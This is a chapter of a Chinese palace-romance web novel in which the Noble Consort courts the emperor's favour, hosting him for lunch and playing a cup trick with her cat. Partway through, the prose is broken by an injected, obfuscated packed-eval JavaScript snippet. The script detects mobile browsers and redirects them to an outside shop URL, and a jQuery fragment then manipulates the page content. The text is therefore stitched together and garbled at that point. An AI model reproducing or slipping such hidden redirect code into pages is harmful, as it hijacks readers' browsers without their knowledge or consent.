10. 宠爱
作品:《贵妃不可能不爱朕》 日光澄澈,贵妃娘娘的肩舆在御书房阶前落下。
徐成小跑着迎上前,笑着道:“奴才请贵妃娘娘安。”
“大总管有礼。”
钱嘉绾身畔的书韵手中正提着一只红漆描金食盒,她道:“颐宁宫中新炖了一盅玉竹枸杞乌鸡汤,太皇太后特意嘱咐本宫为陛下送些来,清心明目是再好不过。有劳徐总管代本宫转呈。”
“娘娘说得哪里话,这本就是奴才分内事。”
接过食盒,徐成就见贵妃娘娘扶了侍女的手,转身下了玉阶。
他话语涌到嘴边,很想请贵妃娘娘稍留片刻,奴才去为您通传一声,您进御书房坐坐也无妨啊。
送完了汤羹,钱嘉绾复又回到颐宁宫中,陪着明惠太皇太后挑选万寿锦被上的图样。
瞧她如此快便折返,明惠太皇太后心中约莫有数。
“嘉儿不曾与陛下说说话?”
“陛下朝政繁忙,臣妾便没有搅扰。但想来,陛下应当很是感念皇祖母的慈爱之心。”
明惠太皇太后笑而不言,点了点钱嘉绾的额间。这朝政繁忙是一回事,皇帝想不想见嘉儿,可是另一回事。
福安会意地屏退了侍女,明惠太皇太后拉着钱嘉绾到内室坐下,与她说些体己话。
“你嫁到宫中已有三月,这些时日相处下来,嘉儿觉得陛下如何?”
“陛下他,是位极好的夫婿。”
钱嘉绾的话语真心实意。在她看来,王祖母与明惠太皇太后处处为她考量,为她选了一桩锦绣姻缘。
一国之君身份尊贵自不必多提,陛下册封她为贵妃,纵无男女之情也妥善照拂着她,从未亏待过她半分。
何况陛下还生得那般好看,这桩姻缘钱嘉绾是怎么都挑不出不满之处的。
“你远嫁入大齐,这原也是应该的。”
明惠太皇太后知道这孩子识大体,钱唐越王府精心呵护长大的明珠,也从无需汲汲营营些什么。她这般出身,这般样貌,日后在这后宫中必定能有一席之地。
“不过有时候少年夫妻,感情终归是不一样的。”
嘉儿纵然不急于争宠,但如今近水楼台,多与陛下相处,其中情谊是后来的妃嫔所不能比的。
明惠太皇太后在后宫四十余载,她能坐上中宫之位的宝座,除了家世外,靠的也正是帝王盛宠。
“皇祖母……”
明惠太皇太后说得点到即止,她知晓嘉儿聪慧,必定能明白她的意思。
若嘉儿只想在后宫中顺遂安稳度日,那她便只当自己多了个亲孙女。有自己在一日,就会庇护这孩子一日。
若嘉儿有心去争圣宠,那她当然也能助她一臂之力。
明惠太皇太后自诩有识人之明,嘉儿绝非池中物。
况且,太皇太后微微一笑,陛下对嘉儿也并非全然无意。
……
暮秋的夜里颇有几分寒意,夜色已深,永宁宫寝殿中的烛火尚未熄下。
栗子蜷在暖炉旁,懒洋洋地打着哈欠。
钱嘉绾轻抚它的脊背,一直以来她在大齐后宫中的打算,是先过上好一段清闲荣华的日子。等到陛下后宫充盈,再按部就班获些宠爱。若有机缘,就在合适的时候生下一儿半女,往后的日子是可以想见的安逸舒心。钱唐生养她多年,她这一桩姻缘亦是尽了钱唐王女的责任。
可明惠太皇太后白日的话语却点醒了她。既已嫁入大齐皇宫,她总是要获得陛下宠爱的,她本也没有来守活寡的打算。
她默认自己要推迟这一日,所提的种种缘由也都合情合理:她尚需时日适应宫中生活;她与大齐的陛下还不熟悉;钱唐的王女不宜太早出挑。
可钱嘉绾扪心自问,当真只是因为这些吗?
栗子感知到主人情绪的不同往常,“喵呜喵呜”轻轻唤她。
钱嘉绾抱着这只陪伴了她四年的小狸奴,从钱唐到洛京,婚事是她亲口答应的。
她该向前看。
她低眸,轻声问栗子:“对不对?”
栗子不懂,只用圆茸茸的脑袋亲昵地去蹭她的掌心。
月光如水,永宁宫中慢慢沉入一片寂静。
……
太极殿上朝会方散,帝王回御书房之际,徐成寻隙禀道:“陛下,永宁宫的人来回话,贵妃娘娘想请陛下移步用午膳,不知陛下是否有闲暇。”
见陛下注意停留,徐成便接着往下禀:“说是陛下赐给永宁宫的李御厨近来又烹饪出了几道新菜式,融钱唐与洛京之长,娘娘想邀陛下一同品鉴。”
“好。”
陛下答允,徐成打发自己的小徒弟德顺去永宁宫传话,多在贵妃娘娘面前卖个好。
自从成婚礼后,傅允珩是第二回踏入永宁宫中。
他望见了在正殿门前迎候着他的女郎,抬手将行礼的她扶起。
钱嘉绾今日费了一番心思装扮,一袭天青色绣缠枝牡丹的蜀锦襦裙,配上明玉嵌宝头面。白皙细腻的颈间戴了一枚赤金镶和田玉璎珞项圈,妆容描绘得精致无缺,本就盛极的容颜愈发明艳动人,恰似春日初晴,烟霞映水,叫人一眼便再难挪开目光。
她含笑迎了陛下入殿,殿中布置与傅允珩初次来时大不相同。一器一物皆是精心挑选,装点之物恰到好处,整座殿宇华而不繁,奢而不靡,尽显典丽与舒心。
钱嘉绾邀了陛下去明间小坐,吩咐秋穗沏茶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179116|196931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼下才过巳时中,用膳尚早。
傅允珩瞧见一旁的紫檀长桌上倒扣着三只熟悉的碗,钱嘉绾不好意思道:“臣妾方才在给栗子变戏法,一时忘了让侍女收拾。”
她没有料到陛下这个时辰就过来,她还以为陛下忙于朝政,要再多等好一会儿。
栗子趴在殿角,神色不善地盯着闯入家中的不速之客,连书韵姐姐抱它都不肯走。
“什么样的戏法?”傅允珩端了茶盏,也留心到那只圆滚滚的小狸奴。
既还没有到午膳的时辰,钱嘉绾唤了栗子过来,它跳上了他们对侧的圆凳。
现在三只碗在栗子面前一次排开,钱嘉绾掀开其中一只,碗底赫然是栗子最爱的肉干。它的目光顿时被吸引过去,一时也顾不上去瞪陌生的傅允珩。
碗重新扣上,隔绝了栗子的视线。钱嘉绾来回交换着碗的位置,不疾不徐,栗子眼睛乌溜溜地转。
待钱嘉绾停下,栗子盯着面前的三只碗沉思。
傅允珩看得有趣,见小狸奴抬起前爪,在最中央的碗上点了点,倒没有那么笨。
钱嘉绾打开碗,果不其然肉干就在其中。
栗子将肉干拨到自己面前,尚未得意,钱嘉绾打开了另一只碗。
里头是足足三块肉干。
栗子:“……?”
它一双眼睛盯着那三块新肉干,呆萌的脸庞出现了显而易见的困惑神色。
傅允珩忍不住轻笑出声。
德顺侍立在外,起初还想娘娘这算是哪门子的戏法?
然他望见与贵妃娘娘相视而笑的陛下,垂了脑袋。只要陛下觉得高明,那自然就是顶顶高明的。
午膳设在偏殿,钱嘉绾一早就着人问了陛下的喜好,将陛下偏好的三道菜肴摆得离他近些。
中央是一道松江鲈鱼,将鱼肉切作薄如蝉翼的鱼片,取其肉质洁白如玉,再配以姜末、蒜末、橙皮屑、熟栗蓉、豆豉等调料。
“这道菜味道还在其次,臣妾觉得名字更好听,唤作‘金齑玉脍’”。
另有一道蟹酿橙,取蟹黄蟹肉填入挖空的蜜橘中,蒸制后果香与蟹鲜交融,惹得人食指大动。
甜点备得是桂花糖蒸栗糕,栗香醇厚裹着桂香清逸,软糯不腻、甜润适口,别具江南风味。
用罢午膳,傅允珩尚需回御书房理政。他素日并不重膳食,今日也是破天荒占了这般久的时辰。
他望着笑意明媚送他离去的贵妃,简简单单一顿午膳,却让人有舒心愉悦之感。
钱嘉绾欢喜于陛下的勤政,一路将陛下送到了永宁宫外。
毕竟她和栗子能不能长长久久地过上富贵无忧的日子,可全看他努力啊!

